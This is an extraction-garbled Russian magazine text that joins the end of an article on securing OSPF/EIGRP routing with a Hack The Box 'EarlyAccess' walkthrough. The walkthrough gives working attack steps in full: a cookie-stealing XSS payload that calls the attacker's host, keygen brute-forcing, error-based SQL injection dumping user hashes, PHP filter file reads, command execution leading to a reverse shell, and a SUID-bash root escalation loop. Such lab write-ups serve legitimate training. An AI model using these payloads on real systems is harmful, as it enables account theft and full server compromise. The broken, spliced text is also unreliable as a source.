
 
 
 

 
 
 

R2#show ip route summary
IP routing table name is default (0x0)
IP routing table maximum-paths is 32
Route Source    Networks    Subnets     Replicates  Overhead    Memory (
bytes)
connected       0           6           0           408         1080
static          1           0           0           68          180
application     0           0           0           0           0
eigrp 1         481         3088        0           328348      642420
internal        1192                                            358080
Total           1674        3094        0           328824      1001760

При перепол нении таб лицы мар шру тиза ции роутер не смо жет помес тить
в свою таб лицу мар шру тиза ции новые мар шру ты.

ÌÅÐÛ ÏÐÅÄÎÒÂÐÀÙÅÍÈß ÀÒÀÊ ÍÀ ÄÎÌÅÍÛ ÌÀÐØÐÓÒÈÇÀÖÈÈ

 Нас трой ка пас сивных

интерфей сов в кон тек сте динами чес кой мар шру тиза ции поз воля ет роуте ру
зап ретить рас сылать объ явле ния через некото рые интерфей сы. По умол- 
чанию без нас трой ки пас сивных интерфей сов он рас сыла ет объ явле ния
во все интерфей сы, а это под верга ет домен мар шру тиза ции боль шому рис ку.
Легитим ный поль зователь, находя щий ся в сети, может точ но так же под нять
вир туаль ный мар шру тиза тор, как сде лали мы с тобой, и ата ковать домен мар- 
шру тиза ции.

Èñ ïîëü çîâàíèå ïàñ ñèâíûõ èíòåðôåé ñîâ.

INFO

В этой статье я ори енти руюсь на прин ципы
и коман ды Cisco IOS CLI.

При мер нас трой ки для OSPF:

R2#conf t   # Вход в режим глобальной конфигурации 
R2(config)# router ospf 1   # Вход в режим конфигурации OSPF под 
процессом 1 
R2(config-router)# passive-interface GigabitEthernet 0/
2  # Назначаем интерфейс пассивным 

При мер нас трой ки для EIGRP:

R2#conf t # Вход в режим глобальной конфигурации 
R2(config)# router eigrp 1  # Вход в режим конфигурации EIGRP 
автономной системы 1 
R2(config-router)# passive-interface GigabitEthernet 0/
2  # Назначаем интерфейс пассивным 

 При мене ние аутен тифика ции
в доменах мар шру тиза ции поз воля ет обес печить воз можность вхо да толь ко
авто ризо ван ным, легитим ным мар шру тиза торам. Одна ко аутен тифика ция
нас тра ивает ся с помощью паролей. Если ты собира ешь ся защитить домен
мар шру тиза ции, исполь зуя аутен тифика цию, обя затель но позаботь ся, что бы
эти пароли были дос таточ но стой кими. Они хеширу ются с помощью крип- 
тогра фичес ких хеш-фун кций, и зло умыш ленник смо жет счи тать зна чения
хешей из дам па тра фика и вскрыть пароль перебо ром. С получен ным
паролем он без тру да под клю чит ся к домену мар шру тиза ции.

Èñ ïîëü çîâàíèå àóòåí òèôèêà öèè.

При мер нас трой ки аутен тифика ции для OSPF с исполь зовани ем MD5:

R2#conf t   # Вход в режим глобальной конфигурации 
R2(config)# interface GigabitEthernet 0/
1   # Вход в режим конфигурации интерфейса 
R2(config-if)# ip ospf authentication message-digest  # Включение 
аутентификации по MD5 
R2(config-if)# ip ospf message-digest-key 1 md5 y0ur_f4ult  # 
Назначение пароля с key-id 1 

При мер нас трой ки аутен тифика ции для EIGRP с исполь зовани ем key-chain
и MD5:

R2#conf t   # Вход в режим глобальной конфигурации 
R2(config)# key chain SecureRouting   # Создание ключевой цепочки 
под названием SecureRouting 
R2(config-keychain)# key 1  # Создание первого ключа 
R2(config-keychain-key)# key-string y0ur_f4ult    # Назначение пароля 
R2(config-keychain-key)# accept-lifetime 20:00:00 mar 1 2022 20:00:
00 mar 2 
2022  # Указание промежутка времени, в течение которого маршрутизатор 
будет принимать ключ от соседа 
R2(config-keychain-key)# send-lifetime 20:00:00 mar 1 2022 20:00:00 
mar 2 
2022    # Указание промежутка времени, в течение которого 
маршрутизатор будет посылать ключ соседу 
R2(config-keychain)# key 
2  # Когда закончится действие первого ключа, автоматически будет 
использован второй ключ. Создаем второй ключ 
R2(config-keychain-key)# key-string y0ur_des1re # Назначение пароля 
R2(config-keychain-key)# accept-lifetime 20:00:00 mar 2 2022 20:00:
00 mar 3 
2022  # Указание промежутка времени, в течение которого маршрутизатор 
будет принимать ключ от соседа 
R2(config-keychain-key)# send-lifetime 20:00:00 mar 2 2022 20:00:00 
mar 3 
2022    # Указание промежутка времени, в течении которого 
маршрутизатор будет посылать ключ соседу 
R2(config)# interface GigabitEthernet 0/
1   # Вход в режим конфигурации интерфейса 
R2(config-if)# ip authentication mode eigrp 1 md5   # Включение 
аутентификации по MD5 для автономной системы EIGRP 1 
R2(config-if)# ip authentication key-chain eigrp 1 SecureRouting  # 
Назначение ключевой цепочки, которая будет использоваться для 
аутентификации в автономной системе EIGRP. 

ÂÛÂÎÄÛ

В этой статье я разоб рал сце нарий атак на про токо лы динами чес кой мар шру- 
тиза ции OSPF и EIGRP. Исхо дя из лич ного опы та тес тирова ния на про ник- 
новение компь ютер ных сетей, ска жу, что в боль шинс тве слу чаев сетевые
адми нис тра торы оставля ют без вни мания кон фигура цию защит ных механиз- 
мов про токо лов. Чаще все го встре чает ся кон фигура ция OSPF/EIGRP
без аутен тифика ции и без нас трой ки пас сивных интерфей сов. Такое отно- 
шение к доменам мар шру тиза ции под верга ет безопас ность локаль ной сети
боль шому рис ку.

Пен тесте ры пос ле проч тения этой статьи дол жны взять себе на замет ку
опи сан ные ата ки, а сетевые адми нис тра торы смо гут сде лать домен мар шру- 
тиза ции безопас нее.
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ВЗЛОМ

В этой статье я покажу про цесс экс плу ата- 
ции нес коль ких веб-сер висов через раз ные
уяз вимос ти и тех ники, начиная с XSS и SQL-
инъ екций и закан чивая LFI и инъ екци ей
команд ОС. А потом мы выберем ся
из Docker на основную сис тему и зай дем
в дру гой Docker, что бы эту сис тему
порутить. Ску чать не при дет ся!

На шей целью будет машина EarlyAccess с пло щад ки . Уро вень
слож ности — Hard, но ког да нас это оста нав ливало?

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ. ÑÊÀÍÈÐÎÂÀÍÈÅ ÏÎÐÒÎÂ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.110    earlyaccess.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

На ходим три откры тых пор та:
порт 22 — служ ба OpenSSH 7.9p1;•
пор ты 80, 443 — веб-сер вер Apache 2.4.38.•

Так как на хос те работа ет веб-сер вер с дос тупом по SSH, мы можем извлечь
из сер тифика та домен ное имя сай та, для которо го он дей стви телен.
В резуль татах ска ниро вания Nmap при вел поле , одна ко это наз- 

вание мы уже записа ли в . Зай дем на сайт и пос мотрим, что он
может нам дать.

commonName
/etc/hosts

Глав ная стра ница сай та

Тут есть воз можность регис тра ции и авто риза ции. Сде лаем и то и дру гое,
что бы получить дос туп к боль шему чис лу фун кций и раз ных мест для тес- 
тирова ния.

Глав ная панель авто ризо ван ного поль зовате ля

Нам откры вает ся связь с адми нис тра тором, форум, хра нили ще и про вер ка
какого-то клю ча.

ÝÊÑÏËÓÀÒÀÖÈß EARLYACCESS.HTB

Stored XSS

Я сра зу решил про тес тировать фор му свя зи с адми ном и про верить, нет ли
уяз вимос тей XSS.

Тес товое сооб щение

От пра вив тес товое сооб щение, можем опре делить две позиции для наг рузки:
имя поль зовате ля и тело сооб щения. Прой дем в про филь поль зовате ля
и пос тавим базовую наг рузку  в име ни поль- 
зовате ля.

<script>alert(1);script>

Ре дак тирова ние про филя

Пос ле перехо да к сооб щени ям видим отметку о про читан ном сооб щении.

Со обще ния поль зовате ля

А открыв сам текст, получим отра бот ку нашего кода.

Со обще ние alert(1)

Так как при сутс тву ет stored XSS, мы можем украсть куки адми нис тра тора.
Это поз волит открыть еще боль ше воз можнос тей!

Не дав но я поз накомил ся с отличным инс тру мен том ,
который может облегчить задачу в таких слу чаях. Пос ле заг рузки нуж но сге- 
нери ровать сер тификат для нашего веб-сер вера.

pyXSSPlatform

  openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.
pem -days 3650 -nodes

Ге нери руем сер тификат

За тем из катало га с шаб лонами ско пиру ем код для кра жи куки в файл 
. Толь ко вста вим в код свой адрес.

index.
js

   var serverUrl = "https://10.10.14.131/cookie";//change this
    var newimg = new Image();

newimg.src=serverUrl+"?cookie="+escape(document.cookie);

А затем запус тим веб-сер вер.

python3 pyXSSPlatform.py 10.10.14.131 443 https_svr_key.pem 

За пуск плат формы для экс плу ата ции XSS

В качес тве име ни поль зовате ля исполь зуем наг рузку, которую пре дос тавля ет
pyXSSPlatform.

  <img src=x onerror=with(document)body.appendChild(document.
createElement('script')).src="https://10.10.14.131/index.js"></img>

Сно ва отпра вим сооб щение и, пос ле того как адми нис тра тор его про чита ет,
в логах веб-сер вера обна ружим зап рос основной наг рузки, а потом и зап рос
с пре дос тавлен ными в качес тве парамет ра куками.

Ло ги pyXSSPlatform

Ис поль зуем рас ширение для бра узе ра вро де , заменя ем наши
cookie толь ко что получен ными и обновля ем стра ницу. Теперь у нас есть
панель адми нис тра тора.

Cookie Editor

Па нель адми на

KeyGen

При виле гии адми нис тра тора откры вают нам дос туп к исходно му коду валида- 
тора уже зна комо го клю ча, а так же к двум новым сай там —  и , запись
для которых добав ляем в .

Dev Game
/etc/hosts

10.10.11.110    earlyaccess.htb dev.earlyaccess.htb game.earlyaccess.
htb 

Па нель валида тора

Фор ма авто риза ции Game

Фор ма авто риза ции Dev

Так мы можем авто ризо вать ся от име ни поль зовате ля, если будет зарегис- 
три рован ключ. Поп робу ем про ана лизи ровать алго ритм валида ции
и написать кей ген.

Пер вым делом в прог рамме про веря ется фор мат клю ча.

Фун кция main

Фун кция valid_format

Ключ делит ся на пять бло ков:
пять сим волов из алфа вита  и ;• A–Z 0–9
пять сим волов из алфа вита  и ;• A–Z 0–9
че тыре пер вых сим вола из алфа вита  и один сим вол из ;• A–Z 0–9
пять сим волов из алфа вита  и ;• A–Z 0–9
чис ло от 0 до 99999.•

Из фун кции  узна ем, что бло ки про веря ются отдель но друг от дру га.check

Фун кция check

До пишем вывод пос ле каж дой про вер ки, что бы опре делять, пра виль ный ли
блок мы подоб рали.

Из менен ная фун кция check

А теперь прис тупим к ана лизу фун кций, которые про водят про вер ку. Так,
в фун кции  чет вертый и пятый сим волы дол жны быть циф рами (стро- 

ки 39–43).

g1_valid

Фун кция g1_valid

Что бы не раз бирать алго рит мы про верок, я решил сос тавлять сло вари,
перепи сывать эти фун кции и бру тить! Сло вари сос тавля ем с помощью прог- 
раммы . Пер вый сло варь у меня будет сос тоять из трех букв и двух
цифр, для это го исполь зуем мас ку .

crunch

,,,%%

crunch 5 5 -t ,,,%% > g1_list.txt 

Де лаем кей ген для этой фун кции на Python:

 def g1_valid(g1):
          r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])]
        if r != [221, 81, 145]:

        return False
      for v in g1[3:]:
       try:
           int(v)
       except:

            return False
      return len(set(g1)) == len(g1)

  g1_list = open("g1_list.txt").read().split("\n")
   for s in g1_list:

      if g1_valid(s) == True:
       print(s)
       break

За пус каем и получа ем пер вую часть клю ча.

Ге нера ция и про вер ка пер вой час ти клю ча

Пе рей дем ко вто рой час ти, которая исполь зует все бук вы и циф ры. Соз дадим
сло варь, а потом допишем фун кцию про вер ки:

crunch 5 5 1234567890QWERTYUIOPASDFGHJKLZXCVBNM > g2_list.txt 

Фун кция g2_valid

 def g2_valid(g2):
     p1 = g2[::2]
     p2 = g2[1::2]
      return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode()))

Ге нера ция и про вер ка вто рой час ти клю ча

Для генера ции треть ей час ти нам понадо бит ся два допол нитель ных magic-
зна чения.

Фун кция g3_valid

Magic-зна чения

При этом зна чение  меня ется раз в 30 минут, а пер вые два сим- 

вола дол жны быть рав ны ста тичес кому зна чению  — . Генери- 
руем сло варь для строк из трех сим волов: пер вые две бук вы, пос ледняя циф- 
ра.

magic_num
magic_value XP

 ,,% crunch 3 3 -t > g3_list.txt 

И с помощью сле дующе го кода получа ем третью часть клю ча.

  def g3_valid(magic_num, g3):
        return sum(bytearray(("XP" + g3).encode())) == magic_num

  g1_list = open("g3_list.txt").read().split("\n")
   for s in g1_list:

       if g3_valid(346, s) == True:
       print("XP"+s)
       break

Ге нера ция и про вер ка треть ей час ти клю ча

Для чет вертой час ти исполь зуем сло варь, который был сге нери рован
для вто рой, а так же пер вую часть клю ча.

Фун кция g4_valid

 def g4_valid(g4):
     g1 = 'KEY01'
               
 

return [ord(i)^ord(g) for g, i in zip(g1, g4)] == [12, 4, 20, 117
, 0]

Ге нера ция и про вер ка чет вертой час ти клю ча

Ос талась пятая часть — кон троль ная сум ма.

Фун кция cs_valid

Фун кция calc_cs

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/3gstudent/pyXSSPlatform
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Для перебо ра я решил исполь зовать четырех символь ные чис ла, как ука зано
в при мере.

crunch 4 4 -t %%%% >> g5_list.txt 

 def cs_valid(g5):
         
    

return sum([sum(bytearray(g.encode())) for g in ['KEY01', '1Q1WF'
, 'XPAA0', 'GAME1']]) == int(g5)

Ге нера ция пятой час ти и про вер ка клю ча

Так мы сде лали скрипт, получи ли ключ, вот толь ко сер вис его не при нял.
Видимо, изме нилось зна чение . А это зна чит, что нуж но сос тавить

спи сок воз можных клю чей и попытать ся проб рутить.

magic_num

Áðóòôîðñ êëþ÷åé

Соз дадим спи сок клю чей для всех воз можных зна чений . Так
как глав ное усло вие — выраже ние 

, то мы можем вычис лить при мер ные гра ницы воз- 

можно го зна чения . Для это го возь мем «минималь ную» и «мак- 
сималь ную» стро ки и про изве дем рас чет.

magic_num
sum(bytearray(("XP" + g3).

encode())) == magic_num
magic_num

Гра ницы зна чения magic_num

Для соз дания спис ка нем ного модер низиру ем наш код.

  def g3_valid(magic_num, g3):
        return sum(bytearray(("XP" + g3).encode())) == magic_num

  def cs_valid(g3, g5):
         
      

return sum([sum(bytearray(g.encode())) for g in ['KEY01', '1Q1WF'
, 'XP' + g3, 'GAME1']]) == int(g5)

  g3_list = open("g3_list.txt").read().split("\n")
  g5_list = open("g5_list.txt").read().split("\n")

   for magic_num in range(346,406):
     g3 = ''
     g5 = ''

      for s in g3_list:
           if g3_valid(magic_num, s) == True:

             g3 = s
           break

      for s in g5_list:
           if cs_valid(g3, s) == True:

             g5 = s
           break

         print("KEY01-1Q1WF-XP" + g3 + "-GAME1-" + g5)

Пос ле сос тавле ния спис ка вос поль зуем ся .Burp Intruder

Burp Intruder — вклад ка Positions

Пос коль ку отправ ляют ся два парамет ра, один из которых CSRF-токен, нам
нуж но его получать из пре дыду щих зап росов. Выбира ем тип наг рузки

, а так же ука зыва ем началь ное зна чение для пер вого зап роса.Recursive grep

Burp Intruder — вклад ка Positions

Так как обра бот ка зап роса про исхо дит с редирек том, перехо дим к вклад ке
Options и ука зыва ем зна чение Always для всех редирек тов. Затем добав ляем
параметр Grep → Extract.

Burp Intruder — вклад ка Options

В появив шемся окне обно вим ответ (Refetch response) и выберем в коде
отве та токен. При активной позиции «Extract from regex group» Burp сам соз- 
даст для токена регуляр ное выраже ние.

Burp Intruder — окно Dene extract grep item

За тем уста нав лива ем тип для вто рой наг рузки, опре деля ем один поток
и выпол няем перебор.

Burp Intruder — вклад ка Positions

Сор тиру ем резуль тат по дли не отве та. В спис ке есть тот, что отли чает ся
от осталь ных.

Burp Intruder — резуль тат ата ки

Про веря ем дан ный ключ на сай те.

Про вер ка сге нери рован ного клю ча

Нам отве тили, что ключ добав лен к акка унту, зна чит, мы можем поп робовать
авто ризо вать ся на сай те Game.

Глав ная стра ница game.earlyaccess.htb

Вот толь ко при попыт ке прос мотреть таб лицу резуль татов мы получим ошиб ку
SQL, а это новое мес то для тес тирова ния!

ÝÊÑÏËÓÀÒÀÖÈß GAME

SQL injection

При тес тирова нии будем пос тоян но изме нять имя поль зовате ля на пер вом
сай те . И пер вая же наг рузка

 уже вызыва ет ошиб ку.

https://earlyaccess.htb/user/profile
test' -- -

Ошиб ка MySQL — наруше ние син такси са коман ды

Ско рее все го, реак цию выз вала встав ленная кавыч ка. Пер вым делом нуж но
опре делить пос ледова тель ность, которая поможет зак рыть этот зап рос. Нес- 
пешно переби рая воз можные ком бинации, видим, что на пос ледова тель- 
ность  сер вер никак не отре аги ровал, а зна чит, мы наш ли зак рыва ющую

пос ледова тель ность.

')

Ус пешный зап рос

Те перь опре делим количес тво стол бцов в текущей таб лице. Мож но делать
это с помощью , а мож но и с помощью . В пер вом

зап росе я поп рошу сгруп пировать резуль тат по десято му стол бцу и получу
ошиб ку, так как такого стол бца нет.

UNION SELECT GROUP BY

test') order by 10 -- -

Ошиб ка SQL — стол бец не най ден

Да лее по алго рит му бинар ного поис ка про сим сгруп пировать по пятому стол- 
бцу, а пос ле получе ния той же ошиб ки — по треть ему. И вот тут уже зап рос
выпол нен успешно. Если попытать ся сгруп пировать по чет верто му, то
получим ошиб ку. Отсю да дела ем вывод, что в таб лице три стол бца.

Ус пешный зап рос

На сле дующем эта пе будем извле кать из базы дан ные. Нач нем, конеч но же,
с получе ния сущес тву ющих в текущей базе таб лиц. А так как мы можем видеть
текст ошиб ки, то исполь зуем его для вывода информа ции с помощью

. Вывес ти мож но толь ко одну стро ку, поэто му будем исполь зовать

 для объ еди нения строк в одну запись.

updatexml
group_concat

 test') and updatexml(1,(select group_concat(table_name , ' -- ') 
from information_schema.tables where table_schema=database()),1) -- -

Спи сок таб лиц

Мы получи ли две таб лицы. Нас инте ресу ют поль зовате ли. Получим име на
колонок в таб лице .users

 test') and updatexml(1,(select group_concat(column_name , ' -- ') 
from information_schema.columns where table_name='users'),1) -- -

Име на колонок таб лицы users

Те перь нуж но вытащить поч товые ящи ки и пароли. Проб лема в том, что
в вывод попада ет толь ко 32 сим вола. Давай тог да получать по одной стро ке
за зап рос (для это го исполь зуем , который ука зыва ет поряд ковый

номер стро ки и количес тво строк в выводе). А для получе ния сре за стро ки
исполь зуем фун кцию .

LIMIT

substr

test') and updatexml(1,concat(0x3a,substr((select email from users 
LIMIT 0,1),1,40),0x3a),1) -- -

Пер вый поч товый ящик в таб лице users

Так мы получи ли пер вую запись. По ана логии получа ем осталь ные, изме няя
пос ледова тель но парамет ры .LIMIT

 LIMIT 1,1
 LIMIT 2,1
 LIMIT 3,1

Ана логич но получа ем и пароли. Так как хеш пароля содер жит боль ше 32 сим- 
волов, мы изме ним и парамет ры .substr

test') and updatexml(1,concat(0x3a,substr((select password from 
users LIMIT 0,1),1,40),0x3a),1) -- -

Пер вая часть пер вого пароля

test') and updatexml(1,concat(0x3a,substr((select password from 
users LIMIT 0,1),30,40),0x3a),1) -- -

Вто рая часть пер вого пароля

Ана логич но изме няя , получим сле дующие дан ные:LIMIT

admin@earlyaccess.htb         
618292e936625aca8df61d5fff5c06837c49e491 
chr0x6eos@earlyaccess.htb     
d997b2a79e4fc48183f59b2ce1cee9da18aa5476 
farbs@earlyaccess.htb         
584204a0bbe5e392173d3dfdf63a322c83fe97cd 
firefart@earlyaccess.htb      
290516b5f6ad161a86786178934ad5f933242361 

Хеш содер жит 40 сим волов, ско рее все го, это SHA-1. Исполь зуем онлай- 
новый дек риптор и получа ем один пароль — от учет ной записи адми нис тра- 
тора.

На хож дение про обра зов хешей

С этим паролем мы можем авто ризо вать ся на треть ем сер висе — DEV.

Па нель адми на сер виса DEV

ÝÊÑÏËÓÀÒÀÖÈß DEV
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На самом сер висе находим толь ко фун кции вычис ления и про вер ки хешей
MD5 и SHA-1. Зна чит, нуж но искать недос тупные рядово му поль зовате лю
фун кции. Выпол ним перебор час тых фай лов PHP. Для это го мож но исполь- 
зовать . При запус ке ука жем сле дующие парамет ры:ffuf

 — URL;• -u
 — сло варь (исполь зуем directory-list-2.3-medium из набора );• -w SecLists

 — количес тво потоков.• -t

ffuf  256 -u http://dev.earlyaccess.htb/FUZZ -t -w php_files_common.
txt 

Ре зуль тат ска ниро вания PHP-фай лов

Ни чего нового не получа ем, поэто му прос каниру ем катало ги.

ffuf  256 -u http://dev.earlyaccess.htb/FUZZ -t -w directory_2.3_
medium_lowercase.txt 

Ре зуль тат ска ниро вания катало гов

На ходим два инте рес ных катало га:  и . Поп робу ем най ти
в них какие-нибудь фай лы PHP.

inludes actions

ffuf  256 -u http://dev.earlyaccess.htb/includes/FUZZ -t -w php_files_
common.txt 

Ре зуль тат ска ниро вания PHP-фай лов

ffuf  256 -u http://dev.earlyaccess.htb/actions/FUZZ -t -w php_files_
common.txt 

Ре зуль тат ска ниро вания PHP-фай лов

В ито ге уда лось най ти мно го чего, но при меча тель нее все го . Тем
более в тек сте ошиб ки у нас зап рашива ют какой-то файл.

file.php

От вет от сер вера

Ско рее все го, этот код дол жен при нимать и обра баты вать опре делен ный
параметр, в котором будет передан путь к фай лу. Поп робу ем най ти наз вание
это го парамет ра — тем же ска ниро вани ем.

ffuf  
256 

-u http://dev.earlyaccess.htb/actions/file.php?FUZZ=test8888 -t
-w parameters.txt 

Ре зуль тат ска ниро вания парамет ров

В ито ге находим такой. Вот толь ко при попыт ке про читать  нас
палят.

/etc/passwd

От вет от сер вера

LFI

Без дол гих попыток я про верил работу Base64-упа ков щика PHP и рас крыл
путь к текуще му катало гу.

curl 'http://dev.earlyaccess.htb/actions/file.php?filepath=php://
filter/convert.base64-encode/resource=index.php'

Текст ошиб ки

Те перь пов торим зап рос, но уже ука зывая пол ный путь к фай лу.

curl 'http://dev.earlyaccess.htb/actions/file.php?filepath=php://
filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/
index.php'

Ис ходный код index.php

В отве те будет стро ка в Base64. Декоди руем ее и получим исходный код
стра ницы. Ничего инте рес ного нет, идем даль ше — зап рашива ем содер- 
жимое .home.php

curl 'http://dev.earlyaccess.htb/actions/file.php?filepath=php://
filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/
home.php'

Ис ходный код index.php

Продолжение статьи →

https://github.com/ffuf/ffuf
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И тут ничего, хотя мы рас кры ли еще один, неиз вес тный до это го файл
.hashing.php

curl 'http://dev.earlyaccess.htb/actions/file.php?filepath=php://
filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/
hashing.php'

Ис ходный код hashing.php

А в нем еще один — .hash.php

curl 'http://dev.earlyaccess.htb/actions/file.php?filepath=php://
filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/
actions/hash.php'

Ис ходный код hashing.php

В ито ге мы доб рались до самого инте рес ного фай ла, где и про исхо дит вся
обра бот ка.

ÏÎËÓ×ÅÍÈÅ ÄÎÑÒÓÏÀ

Что бы про изво дилась обра бот ка, дол жно переда вать ся четыре парамет ра:
, ,  и . При этом в парамет ре 

дол жно быть переда но зна чение . Тог да выпол нится фун кция .

Вот толь ко внут ри нее будет выз вана фун кция, передан ная в парамет ре
 с парамет рами из поля . А это зна чит, что мы можем

выпол нить любую фун кцию PHP (даже ), передав ее в парамет ре

. Откро ем на локаль ном хос те лис тенер ( )

и выпол ним зап рос с помощью .

action password hash_function debug action
hash hash_pw

hash_function password
exec

hash_function nc -lnvp 80
curl

Зап рос на сер вер

Кон нект на лис тенер

Пос ланная нами коман да тер минала была выпол нена на уда лен ном сер вере,
а это зна чит, что мож но кидать обратный шелл. Есть очень удоб ный онлай- 
новый генера тор шел лов — . Здесь нуж но ука зать
лишь локаль ный адрес, порт и тип шел ла, и сер вис вер нет нам две коман ды:
для запус ка лис тенера и для соз дания обратно го под клю чения. Вдо бавок
есть нес коль ко фун кций для кодиро вания шел ла. Выпол нить бэк коннект никак
не получа лось, и я решил исполь зовать про верен ный ,

написан ный на PHP.

Reverse Shell Generator

PentestMonkey

Ге нери рова ние шел ла /bin/sh

Сох раним его на локаль ном хос те как тек сто вый файл и запус тим веб-сер вер
на Python:

python3 -m http.server 

За тем запус тим лис тенер (той коман дой, что пред ложил генера тор), заг рузим
PHP-шелл на уда лен ный хост и выпол ним с помощью того же PHP.

Заг рузка и выпол нение реверс-шел ла

Бэк коннект с уда лен ного хос та

ÏÐÎÄÂÈÆÅÍÈÅ

Так как мы зна ем пароль адми нис тра тора, поп робу ем сме нить поль зовате ля.
Но перед этим получим ста биль ную TTY-обо лоч ку, что бы без проб лем ввес ти
пароль.

 python3 -c 'import pty; pty.spawn("/bin/sh")'
su www-adm 

Сме на поль зовате ля

Я сра зу понял, что мы находим ся внут ри Docker, поэто му заг ружа ем .

Это скрипт, который про веря ет важ ные мес та, что бы най ти пути повыше ния
при виле гий или побега из Docker, и даже некото рые экс пло иты. Но к сожале- 
нию, ничего не получа ем — все же для побега из Docker нужен рут.

deepce

Тог да поп робу ем  — еще один незаме нимый скрипт, который
ищет лазей ки для повыше ния при виле гий. Заг ружа ем его на уда лен ный хост,
даем пра во на выпол нение и запус каем.

LinPEAS

В выводе мно го информа ции, самая важ ная будет отме чена крас ным цве- 
том. Обра тим вни мание на содер жимое кон фигура цион ного фай ла ..wgetrc

Со дер жимое фай ла .wgetrc

В нем есть какие-то учет ные дан ные, одна ко при мене ние им на этой ста дии я
не нашел. Тог да я решил прос каниро вать сеть, для чего заг рузил на уда лен- 
ный хост ста тичес ки соб ранный Nmap.

./nmap -sn 172.18.0.0/24 

Об наружен ные в сети хос ты

 ./nmap -p- --min-rate=2000 172.18.0.1 

Ре зуль тат ска ниро вания пор тов на 172.18.0.1

 ./nmap -p- --min-rate=2000 172.18.0.100 

Ре зуль тат ска ниро вания пор тов на 172.18.0.100

 ./nmap -p- --min-rate=2000 172.18.0.101 

Ре зуль тат ска ниро вания пор тов на 172.18.0.101

MySQL на  ничего не дал, а вот порт 5000 на 

при нес нам полез ную информа цию.

172.18.0.100 172.18.0.101

От вет от сер вера

Об ратим ся к , но сно ва получим ошиб ку.check_db

От вет от сер вера

Так как проб лема в аутен тифика ции, поп робу ем передать получен ные учет- 
ные дан ные.

От вет от сер вера

По луча ем очень мно го дан ных. Для удобс тва я передал их прог рамме , пос- 
ле чего нашел еще один пароль.

jq

Учет ные дан ные MySQL

По пыт ка авто ризо вать ся от име ни это го поль зовате ля по SSH на реаль ном
хос те прош ла успешно.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Сно ва заг рузим на хост LinPEAS и про ведем раз ведку. Из получен ной
информа ции инте рес но сле дующее:

мно го сетевых интерфей сов (зна чит, мож но пос каниро вать дру гие сети);•
есть сох ранен ный ключ SSH для сер вера ;• game-server
у текуще го поль зовате ля есть поч товые сооб щения;•
име ем пра во записи в каталог .• /opt/docker-entrypoint.d

Се тевые интерфей сы

Об наружен ные клю чи SSH

Файл с сооб щени ями поль зовате ля

Дос тупные для записи фай лы

В сооб щении говорит ся, что в слу чае бага игро вой сер вер перезаг рузит ся.

Со дер жимое фай ла /etc/mail/drew

Мы уже ска ниро вали под сеть номер 17, теперь прос каниру ем 18 и 19. Нам
нуж но най ти сер вер с откры тым пор том 22 и поп робовать под клю чить ся
с сох ранен ным клю чом SSH.

 ./nmap -p- --min-rate=2000 172.18.0.0/24 

Ре зуль тат ска ниро вания 18-й под сети

 ./nmap -p- --min-rate=2000 172.19.0.0/24 

Ре зуль тат ска ниро вания 19-й под сети

Служ ба SSH при сутс тву ет на хос те , и мы спо кой но к ней под клю- 

чаем ся.

172.19.0.3

Под клю чение к хос ту 172.19.0.3

А по име ни хос та опре деля ем, что это тот игро вой сер вер, который авто мати- 
чес ки переза пус кает ся в слу чае бага в при ложе нии. Видимо, при ложе ние
работа ет на пор те 9999. Для про вер ки я вос поль зовал ся фун кци ей SOCKS-
прок си SSH.

ssh -D 1080 drew@10.10.11.110 

Те перь мы можем ходить во внут ренние сети через SOCKS-прок си на пор- 
те 1080.

Стар товая стра ница при ложе ния

Под ведем итог: мы можем писать в каталог ,

общий для основно го хос та и игро вого сер вера в «Докере». У нас есть дос туп
к игро вому сер веру, который переза пус кает ся в слу чае бага в при ложе нии.

/opt/docker-entrypoint.d

Тут у меня соз рел сле дующий план: мы можем выз вать ошиб ку в при ложе- 
нии и при этом соз дать скрипт в , тог да при переза пус- 
ке сер вера он будет выпол нен с при виле гией root в «Докере».

docker-entrypoint.d

В скрип те будем копиро вать файл обо лоч ки bash, наз начать рут его вла- 
дель цем и выс тавлять бит SUID. Тог да запуск это го фай ла даст при виле гиро- 
ван ный кон текст. Все эти дей ствия будем выпол нять в бес конеч ном цик ле.

   
  

while(true) ; do echo 'cp /bin/bash /tmp/bash;chown root:root /tmp/
bash;chmod u+s /tmp/bash' > /opt/docker-entrypoint.d/root.sh && chmod
+x /opt/docker-entrypoint.d/root.sh ;done

А теперь поп робу ем выз вать ошиб ку в при ложе нии, выбира ем ссыл ку
.autoplay

Стра ница autoplay

Нас встре тит поле вво да — здесь пред полага ется ука зывать количес тво
раун дов. Я сра зу попытал ся ввес ти отри цатель ное вещес твен ное чис ло,
но появи лось соот ветс тву ющее пре дуп режде ние — сра ботал скрипт на JS.
Но мож но пря мо средс тва ми бра узе ра изме нить зна чение в зап росе HTTP
и про верить отправ ку.

От прав ка неп равиль ного зап роса

